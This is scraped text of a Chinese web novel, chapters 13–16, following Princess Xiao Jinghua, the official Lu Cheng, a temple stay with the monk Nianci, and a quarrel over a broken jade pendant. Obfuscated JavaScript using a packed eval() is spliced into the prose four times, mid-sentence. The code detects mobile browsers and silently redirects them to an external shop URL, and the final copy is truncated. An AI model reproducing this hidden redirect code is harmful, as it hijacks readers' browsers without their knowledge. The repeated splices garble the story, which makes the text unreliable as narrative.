“这不是你写的?”葱白指尖指着纸上某一处,萧婧华道:“这两个字,可不就是徐阳?” 陆埕垂眸,看着经文上突兀的两个字。搁下笔揉着眉心,“抱歉,方才我走神了。” 揉着揉着,他动作蓦地一顿,语气罕见地带了几分焦急,“徐阳是个地名?” 萧婧华摇头,“我也不知。前几日看了本话本子,主人公所处之地便是徐阳县,方才一见,下意识以为这是个地名。” 话到了这儿,萧婧华追问道:“你写这个作甚?” 话音甫落,她便后悔了。 暗暗嫌弃自己,怎么就没忍住呢。 陆埕却是一怔。 百花楼一行打草惊蛇,张骏想来是听到了风声,提前跑了。几日前,陆埕刚带着禁军左卫将张骏抓捕,从他的住处搜出黄金万两,百万两的银票并几大箱珠宝。 赃物呈上后,崇宁帝大怒。 一个做假账的手里都握着万贯家财,更别说那幕后之人了。 可惜张骏口风极言,无论怎么审讯,始终不肯交代那人的身份。 张骏有个账本,记录了从清居堰建立之初,户部的拨款是怎么被这些蠹虫一步步吞食。 账本上名字的本人,陆埕大部分都见过,可主谋者“徐阳”,他却从未听过。 这几日,他与孟年查遍了京中名唤“徐阳”的官员,甚至是奴仆,可却一无所获。 他也曾猜测过,“徐阳”或许是个化名。 没想到今日萧婧华给了他灵感。 是他先入为主了。 谁说“徐阳”就一定是个人名? 它也能是地名、客栈名,甚至是一座桥,一间道观。 仿佛有清泉洗濯焦躁的灵魂,陆埕豁然开朗。 他猛一下站起身,目光明亮,低声喃喃,“是我想窄了。” 萧婧华被他吓了一跳,接着便见陆埕郑重地对她行了一礼。 身姿挺拔似松,青衫如竹,眉眼如玉莹润,光华璀璨。他的骨相极佳,有阴影打在鼻梁两侧,好似蝶落鼻端。 骨貌淑清,如圭如璋。 他微躬身,墨发从肩上垂落半空,轻轻摇曳,似与风同行。 “多谢郡主。” “不、不客气。” 不对啊,她做什么了陆埕要谢她? 不过看着陆埕疏朗的神色,萧婧华心里甜得好似涌进了花蜜。 无论是什么,只要能帮到陆埕,她就很开心了。 见陆埕心情不错,萧婧华试探性开口,“经书抄完了,可以随我……”去后山赏花吗? “大人。” 话说到半截,孟年疾步而至。他应是一路跑来的,额头上布了层薄汗,喘了口气便急匆匆道:“张骏昨夜死于狱中。” 萧婧华不知张骏是何人,她只看见陆埕听到这句话后脸色刹那变了。 若说方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158154|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才是雪后初阳,此刻便似腊月寒冬,风雪欲来。 “陆埕……” 萧婧华伸手。 她想说,即便再重要的事,路上也该慢些、稳当些。 她想说,你不和我告别吗? 不与我说一声吗? 青衫自她白皙柔嫩的掌中擦过,留下一缕微凉。 她握了满手的风。 而那人已匆匆离去,几乎是眨眼间便消失在她眼中。 萧婧华缓慢垂首,怔忪看着空空如也的指尖。 他又一次,把她丢下了。 …… “郡主。” 身后箬竹状似若无其事,柔声道:“奴婢陪您抄书吧。抄完了,明日好给王妃烧去。” 萧婧华僵硬地转过身,低声道:“好。” 她不知自己在做什么,再有意识时,石桌上的宣纸已写了一小半。 这些年,她给母妃抄写过无数遍经书,内容早已铭记于心,即便方才神思不属,也能将经文完整抄下来。 只是有几个字被墨晕染,模糊不清。 萧婧华将纸揉成一团,扔进石桌旁的竹篓里。 她将纷杂的思绪一点点拉回来,打起精神,眉眼无比认真。 给母妃的经书,必须完美无瑕才行。 …… 抄了整整一个下午的经书,隔日便被萧婧华烧了。 听完念觉主持讲经,她回到客舍,继续抄写经书。 箬兰磨着墨,瞧着萧婧华落笔,“郡主的孝心王妃在天之灵定能感应到,但好歹也稍事歇息,这都抄了一日了。” 萧婧华头也不抬,“抄写经书能使人心静,你这小丫头再在我耳边喋喋不休,我让你与我一同抄。” 箬兰立马闭嘴。 和箬竹是被恭亲王妃从外头买回来的,有一颗好学的心不同,箬兰是王府家生子,因能吃讨喜被选为郡主的贴身侍女。幼时王妃请人教他们读书习字,箬竹向来是先生们的好学生,箬兰却不喜读书,开蒙开得痛苦不已。学成之后更是对读书习字深恶痛绝,平日是能不动笔就不动笔。 萧婧华斜眼,瞧箬兰那副神色,好气又好笑,“写个字罢了,跟要你命似的。” “可不就是要我命嘛。”箬兰苦着一张脸。 箬竹抱了捧花进来,闻言亦是好笑。 她将花放在客舍空闲的竹篮子里,纯质朴素的屋子多了缕亮色,瞬间被点亮。 “郡主,箬兰这丫头说得在理,后山的花开了一片,您日日闷在屋内,岂不可惜?” 箬竹劝道:“既然来了,何不去瞧瞧。” “年年看都看腻了,有什么好瞧的。” 话虽这么说,眼神却往花上瞟。 萧婧华喜爱华丽的首饰,也喜欢艳丽的衣裳花卉。 那捧杜鹃开得极好,花色鲜艳,蕊心含露,漂亮极了。 她侧过头,专心将这一页写完,而后道:“听你们的,出去瞧瞧。” 箬兰欢呼一声,箬竹也笑了。 既要赏花,自然要做足准备。 萧婧华换了身衣裳,又让箬兰拿上茶水糕点,这才出门。 越靠近后山人越少,只零星几个僧人与三人擦肩而过。 承运寺景色绝佳,后山有座凉亭供游人赏景休憩。还未走到凉亭,萧婧华已看到了人影。 她有些失望,转身欲走,不经意往亭中瞥了一眼,顿时惊喜立住。 “念慈大师!” 14. 第 14 章 亭中之人穿着一身白色僧袍,袖口散了线,如玉长指捏着杯盏,懒洋洋地朝前看去。 他极为年轻,肤色白皙,衬得两道剑眉漆黑如墨。桃花眼微眯,似一汪春水,澄澈又迷离。眉目疏阔洒脱,若非头上光秃,活脱脱一个世家浪荡子。 萧婧华快步迈入凉亭,面含欢喜笑意,“何时回的京?” 话一出口,浓烈酒气顺着风钻入鼻尖,她掩鼻抱怨,“大师一个出家人怎的还饮酒,若被念觉主持知晓,定要罚你。” 念慈睁着迷蒙双眼,缓声一笑,“原来是郡主。” 他慢悠悠地将酒杯送入唇边,“郡主不说,师兄如何得知?” 萧婧华笑了,“待闻见你这一身酒气,我不说他也能知道。” 念慈替她斟了一杯酒,笑容温和,“若师兄问起,贫僧便道,是郡主硬要拉着贫僧共饮。” 萧婧华气笑了。 “行。” 她举杯,一饮而尽。 这酒闻着醉人,但入口香醇绵软,倒是颇和她口味。 萧婧华挨着念慈坐下。 箬竹箬兰自觉摆上糕点茶水。 念慈瞧见笑了,“郡主好雅兴。” “不比大师。” 萧婧华放下酒杯,念慈提壶,为她斟满。 举止优雅,完全不像个僧人。 萧婧华不止一次疑惑念慈出家前的身份,她曾问过一次,当时念慈面上笑意瞬间落下,淡淡道:“寻常人家罢了。” 她便知他有难言之隐,从此再没问过。 说来,她和念慈相识至今也有十年了。 念慈乃是承运寺前任主持无嗔大师的小弟子,七岁那年,她随父王来承运寺小住,因思念母妃,独自躲在树下哭。 哭着哭着,突然听见有人在笑。 一抬头,却见树上倚着一名光头少年。 春花烂漫,他如花中孕育出的灵怪,漂亮极了。半躺在树干上,一手支颐,饶有兴致地看着她。 “你这小娃娃也忒能哭了,是水做的吗?” 萧婧华呆呆地看着他,眼泪挂在睫毛上,像是傻了。 少年无奈,“好笨的水娃娃。” 也不知他怎么做到的,萧婧华反应过来时,人已经在树上。 她小小声问:“你是谁?” 少年悠悠道:“鬼。” “骗人,大白天的哪来的鬼。” 少年“唷”一声,怪道:“原来你不笨。” “你才笨!”萧婧华气急败坏,“你是笨蛋。” “我是笨蛋。”少年慢条斯理道。 他承认得这般快,萧婧华没有一点成就感,闷闷地噘着嘴不说话。 少年笑了,随手折来一枝桃花,“送你。” 萧婧华眼睛发亮,把花接过来。 很久之后,她也记得那天。 少年虽没说一句安慰她的话,但她与他坐在树上,看山花遍野,慢慢地遗忘了来时的伤心与思念。 后来,萧婧华得知那少年是无嗔大师座下最小的弟子,年纪虽小,但佛法高深,深受师兄们喜爱。 自那以后,她每次来承运寺,都会与念慈说会儿话。一年、两年,慢慢便熟识了。 无嗔大师坐化后,念觉大师继任主持,寺中有师兄看顾,念慈毫无负担地下山游行,常常一走就是好几个月,算起来,萧婧华已经有五月不曾见到他了。 她举杯与念慈碰了一下,喝了小口,问道:“这次准备待多久?” 念慈宽大袖口顺风而动,他望着亭外风光,转动着酒杯,随意饮了一口,“暂时不走了。” 萧婧华顺着他的目光朝外看去。 凉亭之下是茵茵山谷,潺潺溪水将之一分为二。一半是皑皑如雪,纯净洁白的刺槐,一半是红艳似火,热烈张扬的杜鹃。 二者之间绿荫丛丛,似春与冬,相对而立,又纠缠不清。 清风袭来,鸟啼声声,春花漫舞。 置身此景之中,胸中郁结松动,心情疏懒。 她看着景,饮着酒,慢声道:“留下也不错。” 念慈收回视线,侧目凝视她,“怎么,心情不佳?” 萧婧华眸光微黯,笑道:“哪有,是你的错觉。” 她既不想说,念慈便不问,饮完最后一杯酒,靠着栏杆吹风。 日落西山,晚霞漫天。 他凭栏而立,衣袂飘飘。笼罩在橘红色的光里,不似浊世人。 萧婧华一杯接着一杯,将酒壶里的酒喝得干干净净,此时已有些醉了。 她撑着头,眸色迷蒙,醺醺然瞧着天边一抹霞光。 念慈偶然回首,便见她微阖着眼,双颊酡红,不由笑了,“我送你回去,可还能走?” 萧婧华酒量还行,虽有些晕眩,但神志其实是清醒的,闻言摆手,慢吞吞站起,“当然能走。” 箬竹箬兰一左一右搀扶住她,萧婧华将人拂开,步履稳健。 念慈笑了声,抬手将桌子收拾干净,拎着东西,徐徐离去。 …… 翌日,萧婧华晚了一刻钟。 昨夜饮了酒,她回去洗漱后便睡下了,连晚膳都没用。 酒是最好的助眠物,她一觉睡至天光大亮,被箬竹唤醒时很是不满,得知了时辰,这才慌忙起身。 “实在抱歉,让主持久等了。”萧婧华匆匆而来,口中致歉。 念觉双手合十,唇带笑意,胡子打理得干净整洁,眸光和煦柔软,“无妨,老衲也将至,郡主请。” 萧婧华回之一笑,与念觉入殿。 诵完经出来,日照灵山,风清气朗。 萧婧华舒气,走在寺中,灵魂仿佛都被洗涤一通。 箬兰咦道:“郡主,这好似不是回客舍的路。” “好不容易见到念慈大师一面,我去找他说说话。” 念慈的禅房有些远,萧婧华倒不嫌累,灵动的双眸四处睃巡。 走到一个转角,腿倏地被人一撞,她轻轻“嘶”了一声。 箬兰惊呼一声,“郡主。” “我没事。” 好好的心情都被人撞坏了,萧婧华眉心不耐一拧,垂下眼睑,斥责的话却如何也说不出。 她身前站着一个小沙弥,瞧着不过三四岁,才到萧婧华膝盖高。面色蜡黄,瘦骨嶙峋,僧袍松松垮垮地穿在身上,依稀可见锁骨下的青紫。 他一脸惊惶,因太过瘦小,显得眼睛极大,水汪汪的,瞧着很是可怜。 小声又怯懦道:“这位贵、施主,我、小、小僧不是故意的,求贵人饶命,贵人饶命。” 他怕极了,小身子一抖一抖的,似乎下一瞬就要跪地求饶。 萧婧华心里不太好受,“你是寺中新收的……” “明言!” 少年僧人快步走来,双手合十,“郡主,明言是前几日才入的寺,若他冲撞了郡主,还请您大人有大量,莫与他一般见识。” 萧婧华低头瞧了眼那可怜巴巴的小沙弥,“他叫明言?” 明方道:“是,师父亲赐的法号。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158155|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他身上的伤是……” 明方蒙住明言的耳朵,不忍道:“他爹是个酒鬼,一喝醉就打人,他娘受不了跑了,留下明言一人遭受殴打。前阵子他爹醉酒后失足落水淹死了,双亲家里又没人,师父见他可怜,便将他带了回来。” 萧婧华受尽宠爱,不理解怎么会有殴打孩子的父亲。 她蹲下身子,轻轻摸了下明言光秃秃的头顶,柔声道:“别怕,我不怪你。” 明言怯怯的不敢吱声。 明方道:“别怕,郡主是好人,不会伤你。” 明言偷偷看她,见她神色平缓,并未动怒,这才放松了身子。 小家伙瘦弱可怜,萧婧华心中酸软,笑道:“你想……” 话未说完,耳畔骤然响起一声猫叫。 萧婧华探头。 宽大的衣袖遮挡下,一只白黄两色的小猫儿乖巧地窝在明言怀中。 “这是……” “这是小师叔的猫。” 回话的是明方。 “念慈大师的猫?”萧婧华意外,“他还有兴致养猫呢。” “不算是。”明方挠了挠头,“应当是只野猫,小师叔随手喂过它两次就被赖上了,怎么也赶不走。好歹是只生灵,小师叔便把它留下了。” 原来如此。 萧婧华伸出一指,碰了下小猫毛绒绒的耳朵。 它偏了下头,胡须动了动。 “对了。”明方往萧婧华来时的方向看了眼,“郡主可是要去寻小师叔?” 见萧婧华颔首,明方尴尬一笑,“小师叔昨日犯戒,被主持罚去清扫茅厕了。” 啊? 萧婧华震惊。 一想到念慈顶着那张俊美非凡的脸,拿着笤帚打扫茅厕,身上还散发着一股难言之味,萧婧华一阵窒息,连声拒绝,“既然念慈大师有要事在身,那我还是不去打扰了。” “明方小师父,我先……” “喵。” 小猫从明言怀中一跃而起,三两下就不见了踪影。 “小白!” 明言惊呼一声,迈着小短腿就要去追。他动作急促,两腿一绊,险些摔倒。 “明言。” 明方眼疾手快把他扶住,轻声安慰,“没事,师兄去给你找。” 小家伙瘪着嘴,眼里蓄着水,怪可怜的。 萧婧华对身后的箬竹箬兰道:“你们也去找找。” 二人:“诶。” 几人分开行动,萧婧华慢悠悠地缀在后头,眼睛往四周扫,企图找出那只小猫。 承运寺极大,走着走着,几人便分开了。 萧婧华找得认真,猛一抬头,发现自己竟不知不觉走到了荒凉处。 四周生了些杂草,将一座殿宇包围在其中,那殿不知为何塌了一半,房梁梗在地上,碎瓦撒了一地。 殿前杂草内传来悉索声响,隐约可见一抹白色。萧婧华眉心不觉皱起,提着裙子,小心地踩过满地狼藉。 她用帕子包住手,拾起木根,轻轻扒开杂草。 空无一物。 萧婧华嫌弃地扔了帕子,转身欲走。 “庆县虽偏僻,但……” 耳畔隐隐约约传来人声,萧婧华视线转了一圈,不见人影。 奇怪,此处偏僻,何人会在此会面? 她没放在心上,提裙走了。 风声骤急,木门发出“嘎吱”声响,一道人影缓缓走出。 他弯腰,从吹得七扭八歪的草丛中拾起一张蚕丝手帕。 15. 第 15 章 往回走了一段,萧婧华遇上了箬竹一行。 “郡主,您去哪儿了,奴婢寻了您许久。”箬竹连连追问。 方才久寻不见萧婧华,着实将她吓坏了。 “不知不觉走到了一座破败殿宇。”萧婧华瞧见明方怀中小猫,笑问:“找到了?” 明方点头,指向某个方向,“在树上寻到了。”又道:“郡主方才去的应是虚空库菩萨殿,前些年因雷雨坍塌,后来主持重新寻了处殿宇,为虚空库菩萨重塑金身,原先那处便荒废了。” 原来如此。 既是荒废的,那为何会有人声? 她刚想问询,又觉此事与她无甚干系,便未曾开口。 微颔首后,萧婧华与明方告别,回了客舍。 快到午时,箬兰拎了斋饭回来,萧婧华用膳后小睡半个时辰,继续抄写经书。 知道念慈的惩罚后,短时间内,她是不想见他了。 有墨不甚滴在石桌上,萧婧华去掏帕子,“咦,我帕子呢?” “不会是方才寻猫时丢了吧。”箬兰猜测。 萧婧华想了想,应是丢在那座废弃的佛殿外了。 一张帕子而已,又没记名,主仆几个都没放在心上,箬兰另取一张来擦掉墨迹。 寺中清净,萧婧华是个爱热闹的性子,身侧无一二个熟稔之人,除了抄佛经,她有些待不住。 因此日落之后,她早早地睡下了。 半梦半醒间,总觉吵闹得紧,闹得她睡不安稳,眉心紧紧蹙起。 蓦地,黑夜中响起一声尖叫,惊走了树上栖息的鸟雀。 萧婧华猛地睁眼。 屋内一片漆黑,唯有稀薄月光透过窗棂映在地面,似一渠清水。 外头嘈杂声四起,隐约有火光闪现。 她下了榻,凭照记忆拾过衣桁上的外衫,随意搭在身上。 摸黑打开房门,皎洁月色一瞬而入,照亮半个屋舍。 箬竹箬兰都不在。 萧婧华意外。 这二人总会留一人守着她,可现在两个都不知去处。 念及吵醒她的那声尖叫,萧婧华有些不安。 嘈杂声越发大了,留宿的香客纷纷被吵醒,焦灼不安弥漫在整座客舍中。 萧婧华正欲前去探明情形,急促的脚步声在黑夜中无比清晰。 她抬眸,只见一盏提灯在黑夜中散发着明亮光辉,来人的身形一般隐在黑暗中,瞧不分明。 昏黄灯光笼住萧婧华半张脸,提灯之人惊道:“郡主,您醒了。” 听着熟悉的声音,萧婧华松了口气,追问道:“怎么回事?” 箬竹道:“寺中有贼,悄悄摸进了光禄寺周大人家眷屋内,惊扰了女眷。” “寺内常年有武僧镇守,好端端的怎么会有贼?”萧婧华不解。 箬竹也不知缘由。 萧婧华并非问她,只是道出了自己的疑惑。思索间,她总觉得自己忽略了什么,猛然道:“箬兰呢?” “在这儿。” 黑夜中,箬兰的声音混合着杂乱的脚步声,她提着灯,身后跟着一人,快步而来。 朦胧灯影照亮她身后之人的脸,半明半昧中,有种诡谲美感。 “念慈大师?”萧婧华问:“你怎么来了。” 念慈道:“夜半来贼,身为承运寺僧人,自该维护香客安全。” 他轻声一笑,眸光平如寒潭,分毫不动。 “那贼人不知来历意图,未免冲撞,郡主还是早些下山吧。” 萧婧华下巴微抬,冷嗤道:“一个小贼,有什么好怕的。” 不过在山上待了这些时日,她也够了,“明日待念觉主持诵完经,我便启程下山。” 念慈笑,“如此甚好。” “我带了不少护卫,可要他们帮忙寻贼?” “郡主不都说了,小贼而已。”念慈轻轻摇头,笑声清朗,“寺中那么多武僧,不至于怕一个贼。” “离天亮尚早,郡主还是回去歇息吧。” 萧婧华本就是被吵醒的,此刻头昏脑涨,没推辞,带着箬竹箬兰回了客舍。 箬兰把提灯留给了念慈,暖黄灯光孜孜不倦,为浓稠黑夜带来星点光亮。 念慈长身玉立,零星烛光照亮僧袍上的线头,他大半个身子笼罩在浓稠夜中。 待屋内熄了灯,他看向某个方向,向来温柔和暖的桃花眸,此刻寒凉如冰。 …… 隔日,萧婧华便与念觉告辞。 原想与念慈告个别,但这人一向神龙见首不见尾,寻不见人影,萧婧华只好作罢。 登了马车,恭亲王府的侍卫在两侧开道,护送她回京。 午后的太阳烈,萧婧华靠在马车里昏昏欲睡。等她睡醒,恭亲王府已在眼前。 父王不在府中,身上懒懒的提不起劲,萧婧华回到春栖院后好生洗漱了一番,和箬竹一块打络子。 她需要给自己找些事做。 忙起来,就不会想起陆埕了。 她垂眸,动作认真。 络子打到一半,萧婧华陡然一震。 样式和配色,怎么看也不是她喜欢的,反而像极了某个人的品味。 她咬着唇,气恼不已。 他都把她丢下了,她竟还念着他。 手抬起,想将络子扔掉。 举到一半,又气急败坏地收回来。 好歹是她亲手做的,都做到一半了,扔了怪可惜的。 萧婧华抿唇,继续打络子。 算了,她大人有大量,不和陆埕一般见识。 原谅他这次。 …… 翌日醒来,萧婧华收到一张帖子。 康郡王妃邀她去逛新开的胭脂铺子。 萧婧华没什么兴趣逛胭脂铺子,毕竟每月都有新鲜的胭脂水粉送来,但她爱热闹,加之康郡王妃的面子还是要给的。 太上皇子嗣不多,共三子二女,崇宁帝与恭亲王、文仪大长公主同为嫡出,其余一子一女皆为妃嫔所出,但几人的关系还不错。 康郡王妃乃是文若大长公主儿媳,萧婧华与她还算亲厚,思虑稍许,便提笔回帖,约好相见的地点时辰,应下此事。 第二日转瞬即至,萧婧华刚下马车,转眼便见康郡王妃身边的侍女朝她挥手。 她带着箬兰箬竹迎上去,一个衣着华贵,肤如凝脂,似远山芙蓉的貌美女子对她笑着招手,“婧华快来。” 萧婧华面上含了笑,“表嫂。” 康郡王妃拉着萧婧华的手,含歉道:“我另请了两个姑娘,婧华可会怪罪?” “这有何可怪罪的,人多还热闹些。” 听她话中真诚,康郡王妃便松了口气,笑道:“都是你熟识的。” “哦?”萧婧华转眸。 两名少女款款而来,一人身着碧色襦裙,头戴珠花,活泼俏丽。另一个穿雨过天青色长衫,下着象牙白罗裙,端庄娴静,静怡淑珍。 二人联袂而来,笑称:“郡王妃,郡主。” 一个清脆如黄鹂,一个和缓似细雨,各有不同,又同样好听。 萧婧华唇边笑意真切了不少,“念卿,云二姑娘。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13158156|138604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江念卿乃是江妍卿胞妹,与萧婧华自幼相识,熟稔不已。 另一名少女云慕清出自敬国公府,鲜少露面,直到及笄后在外走动的次数才多了起来。萧婧华与她见过几次,印象还不错。 四人上了康郡王府的马车,车帘将喧嚣隔绝在外。 几人年纪相差不大,不多时便凑在一处说着闲话。 康郡王妃想到什么,咦了一声,“婧华,你前几日可是去了承运寺?” 萧婧华点头,“表嫂说这个作甚。” “我有个表妹昨日从承运寺回来,说是寺里遭了贼,闹了大半夜。”康郡王妃捂着胸口,“甫听这事,可把我吓坏了。” “承运寺那么多武僧,居然还能让贼摸进去?”江念卿头一次听说这事,当即不满。 “谁知道那些武僧都是干什么吃的,若是有个好歹,我看他们如何交代。”康郡王妃亦是义愤填膺。 二人就承运寺的安防问题谈论了许久,说到最后,康郡王妃抱怨道:“也不知承运寺这么多的香火钱都用到哪儿去了,连个小贼都防不住。上回去,我不甚迷了路,甚至见到了一座坍塌的佛殿。那殿都坏得不成样了,也不知修缮修缮,实在有碍观瞻。” 语气里充满了对承运寺不作为的不悦。 萧婧华意外,“表嫂也见到了那座佛殿?” “是啊。”康郡王妃头点了一半,猛地偏过头,“也?你也知道那佛殿?” 萧婧华点头,“那殿位置偏僻,四周荒凉,寻常人应当寻不过去,听说是被雷劈倒的。” “原来如此。”康郡王妃若有所思,旋即抱怨道:“那也该修缮,不然多难看啊。” 萧婧华挑了眉。 她与念觉熟络,这位主持慈和得像个活菩萨,为了承运寺兢兢业业,不敢懈怠,内里十足俭朴,他或许只是觉得那地偏僻,不愿劳民伤财。 不过这话萧婧华没出口。 说说笑笑间,胭脂铺子很快到了。 这铺子名为银朱,装潢精致,大气华丽,外表一看便知是为贵族小姐们开的。 铺子共二楼,楼下卖胭脂水粉,二楼多是些养颜护肤之物。 一进门,便有俊俏少年引荐,他们生得不错,笑容热情,态度妥帖。 人就没有不爱美的,有这样的美少年陪伴在身侧,妙语连珠间萧婧华已花了不少银钱。 这铺子背后的东家可真是个妙人,竟能想出这样的法子。 腹诽完,萧婧华又拿起一款口脂。 站在铜镜前,从镜子里瞧见云慕清无所适从地站在原地,她身边有名少年,热情洋溢地为她介绍胭脂,而云慕清脸颊带粉,似是尴尬。 她回身,对着云慕清招了下手,“云二姑娘,你帮我瞧瞧这款口脂如何。” 云慕清肉眼可见地松了口气,忙小步走来。 “郡主……” “你瞧,这口脂好看吗?可衬我?” 云慕清微怔,旋即笑道:“银者亮泽,朱者近赤。这二者结合,色泽亮丽明艳,衬得郡主面若凝脂,艳似海棠。” 萧婧华满意颔首,夸赞道:“不错。” 也不知是她的话不错,还是这口脂不错。 云慕清忍俊不禁。 萧婧华爱美,买了不少胭脂。又随手为云慕清选了几款口脂。 四人在铺子前相聚时皆带着满意的笑,看来此行收获十足。 正要离开,有人从外头进来。素衣似雪,娉娉袅袅,扶风弱柳。 萧婧华冷漠地收回视线。 下一瞬,她猛地看回去,死死盯着那人腰间。 16. 第 16 章 白色丝绦勾勒出少女盈盈一握的腰身,走动间腰肢轻摆,婀娜多姿。 纤细腰上挂着一枚玉佩,色泽莹润,环外镶着一层金,中刻丛丛青竹。珊瑚珠子下吊着一串青色穗子,华贵又不失清雅。 萧婧华指尖颤栗着抚上腰。 那里也有一块玉佩,除了纹样,几乎与少女腰间那块一模一样,明眼人一看便知是一对。 似是注意到她的视线,少女抬眸看来,微微一怔,恭顺地福身行礼,动作优雅得寻不出一丝错处,可见是被教导过的。 “郡主。” 萧婧华情绪激荡,眼圈泛着红,近乎失态地盯着白素婉,声声质问:“你的玉佩从何而来?” 嗓音又尖又利,将身侧毫无防备的云慕清几人吓了一跳。 康郡王妃看了眼白素婉,生得倒是标志,但眼生得很,也不知她这表妹何故这般失态,“婧华,她是?” 萧婧华充耳不闻,目光狠厉得像要吃人,整个人处于暴怒之中,只需轻轻一碰,仿佛就会有涛涛烈火倾泻开来。 白素婉指尖在腰间玉佩轻触一下,似是不曾注意萧婧华的愤怒,不卑不亢,唇畔含着春风笑意,眼带羞赧,“是……是别人所赠。” 心脏似是被针扎了一下,萧婧华素手狠狠颤动。 想起他空空如也的腰。 萧婧华闭眼。 少女清脆的嗓音回荡。 “陆埕,这可是我精心为你准备的冠礼,你一定要好好收着,若是丢了,我定不会轻易原谅。” 她没说,为了寻那块玉,她费了多少心力。 也没说那玉上的竹,是她一刀一刀倾注了无数心神,亲手所刻,为此在指上留下数道伤口,疼得她掉了好几回泪。 她只记得少年清润的一声,“好。” 为了少年眼里浅淡的笑,付出多少努力她都心甘情愿。 可为什么要骗她。 为什么随随便便就把她的心意送出去。 她清楚,陆埕看着冷淡,但占有欲极强,绝不会让别人动自己的东西。 白素婉绝不可能潜入他的房间,偷出玉佩。 只有一个可能。 是他亲手所赠。 一瞬间,心里的酸意如惊涛骇浪,一遍又一遍击打着她的心脏,激得她险些落了泪。 萧婧华强行把眼泪逼回去,睁开眼,一字一字道:“我送给陆埕的玉佩,怎么可能是你的?” 她大步朝白素婉走去,往她腰身探出手,“还给我。” 康郡王妃几人总算弄清了缘由,忙上前阻拦。 “婧华,这其中或许有误会,你先冷静冷静。” “郡主,别冲动。” 不管这其中是否有误会,她送给陆埕的东西,决不允许出现在别的女人身上。 萧婧华大力拽下玉佩。 一只柔弱无骨的手将穗子紧紧攥住,白素婉花容失色,颤抖的长睫泄出些许慌乱,努力保持镇定,“郡主,您误会了,这玉佩是我友人所赠,不是你的。” 玉佩有萧婧华出的一份力,她不会认错,且白素婉的表现更证明了她的猜测。 她知道这玉佩的来历,才会在她戳穿此事时露出如此惊惶的神色。 陆埕。 你好样的。 极致的怒中,萧婧华冷笑出声,“不是我的,你慌什么?” 她又用了一分力。 “不是的,郡主,我……” 穗子从白素婉手中脱离,就在这时,萧婧华手心蓦地一阵刺痛,下意识甩开手。 “啪——”正正甩在白素婉手上。 她被这突如其来的一下吓得往后退了一步,脚下没站稳,小脸惊慌到苍白,身子狠狠往地上摔去。 “姑娘!” 兰芳慌忙去扶,二人摔成一团。 与此同时,清脆的声响仿佛雷鸣,轰隆一声在萧婧华耳畔炸响。 她怔怔垂眸。 玉佩在她眼前碎裂。 垂在身侧的手虚虚一握,仿佛想抓住什么,却只握住了满手空气。 “玉,我的玉。” 白素婉捡起碎成两半的玉,紧紧握在手中,盈盈垂泪 兰芳气炸了,指着萧婧华义愤填膺道:“我家姑娘究竟怎么惹了郡主的眼,致使郡主对她千般看不上。上回将她吓住也就罢了,这次竟将她推倒!” “她身子骨弱,禁不住郡主三番两次的折腾!” “还有那玉,乃是姑娘在意之人所送。郡主千金之躯,想要什么得不到,何至于要与她抢?” “难不成。”兰芳吸气,高声道:“就因陆大人在郡主面前为我家姑娘说了两句话,帮了姑娘几次,郡主就这般针对她?” 兰芳眼里似是淬了火,愤怒道:“我们虽人微言轻,但绝不会任由郡主轻贱!” 须臾之间,胭脂铺子前已围了不少百姓,听了兰芳的话,不由看向地上的白素婉。 美人垂泪,总是引人怜惜的,更别说她手心里还渗出血迹。再瞧萧婧华一脸冷漠,不自觉便偏向了弱者。 “郡主?陆大人?如此说来,这是白姑娘?” “你知她是谁?” “你没听说?前阵子陆大人和白姑娘的事传得可是沸沸扬扬。这二人分明两情相悦,中间偏偏插了个郡主,着实令人扼腕。” “郡主怎么了?郡主也不能拆人姻缘啊。” “就是,怎么能这么欺负人,瞧白姑娘多可怜啊。” “早就听说琅华郡主仗着皇恩浩荡,最是跋扈,今日一见,果真名不虚传。” “放肆!” 康郡王妃肃容,厉声呵斥,“皇室宗亲,岂是尔等可随意议论的?” 百姓们被这一声吓住,胆子小的悄悄溜进人群里。亦有胆大心雄之辈,无所畏惧地用警惕的目光盯着康郡王妃,似乎在担心她们以权压人,欺负无辜女子。 云慕清秀眉微蹙,担忧唤道:“郡主……” 一声又一声指责传入耳中,在世人眼里,陆埕和白素婉才是天造地设的一对,她是拆散有情人的恶毒郡主。 萧婧华目光空洞,心里仿佛也空了一块。 她没有理会一脸忧虑的云慕清三人,也不再看梨花带雨的白素婉,缓缓迈步。 指甲深嵌掌心,疼痛驱不散迷惘。 她无视兰芳警惕的目光,站在白素婉一步之外。 “你要做什么?”兰芳挡在自家主子面前。 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 